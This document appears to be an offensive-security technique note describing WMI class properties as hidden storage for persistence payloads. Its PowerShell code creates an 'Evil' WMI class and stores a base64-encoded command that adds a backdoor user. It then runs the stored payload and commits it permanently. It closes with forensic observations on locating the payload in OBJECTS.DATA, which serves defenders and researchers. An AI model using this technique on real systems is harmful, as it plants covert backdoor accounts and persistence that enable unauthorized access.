wmi-data-storage.md

description
Exploring WMI as a data storage for persistence by leveraging WMI classes and their properties.

WMI as a Data Storage

Execution

Creating a new WMI class with a property EvilProperty that will later store the payload to be executed:

$evilClass = New-Object management.managementclass('root\cimv2',$null,$null)
$evilClass.Name = "Evil"
$evilClass.Properties.Add('EvilProperty','Tis notin good sir')
$evilClass.Put()

Path          : \\.\root\cimv2:Evil
RelativePath  : Evil
Server        : .
NamespacePath : root\cimv2
ClassName     : Evil
IsClass       : True
IsInstance    : False
IsSingleton   : False

We can see the Evil class properties:

([wmiclass] 'Evil').Properties

Name       : EvilProperty
Value      : Tis notin good sir
Type       : String
IsLocal    : True
IsArray    : False
Origin     : Evil
Qualifiers : {CIMTYPE}

Checking WMI Explorer shows the new Evil class has been created under the root\cimv2 namepace - note the EvilProperty can also be observed:

Storing Payload

For storing the payload inside the EvilProperty, let's create a base64 encoded powershell command that adds a backdoor user with credentials backdoor:backdoor:

$command = "cmd '/c net user add backdoor backdoor /add'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

# $encodedCommand = YwBtAGQAIAAvAGMAIAAnAG4AZQB0ACAAdQBzAGUAcgAgAGIAYQBjAGsAZABvAG8AcgAgAGIAYQBjAGsAZABvAG8AcgAgAC8AYQBkAGQAJwA=

Updating EvilProperty attribute to store $encodedCommand:

$evilClass.Properties.Add('EvilProperty', $encodedCommand)

Below is the same as above, just in a screenshot:

Real Execution

powershell.exe -enc $evilClass.Properties['EvilProperty'].Value

Executing the payload stored in the property of a WMI class's property - note that the backdoor user has been successfully added:

If we commit the $evilClass with its .Put() method, our payload will get stored permanently in the WMI Class. Note how a new "Evil" class' properties member shows the payload we have commited:

Observations

Using the WMI Explorer, we can inspect the class' definition which is stored in%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA

The file contains all the classes and other relevant information about those classes. In our case, we can see the EvilProperty with our malicious payload inside:

When inspecting the OBJECTS.DATA with a hex editor, it is possible (although not very practical nor user friendly) to find the same data - note that the screenshot is referring to the state of the Evil class at the very beginning of its creation as this is when I took the screenshot: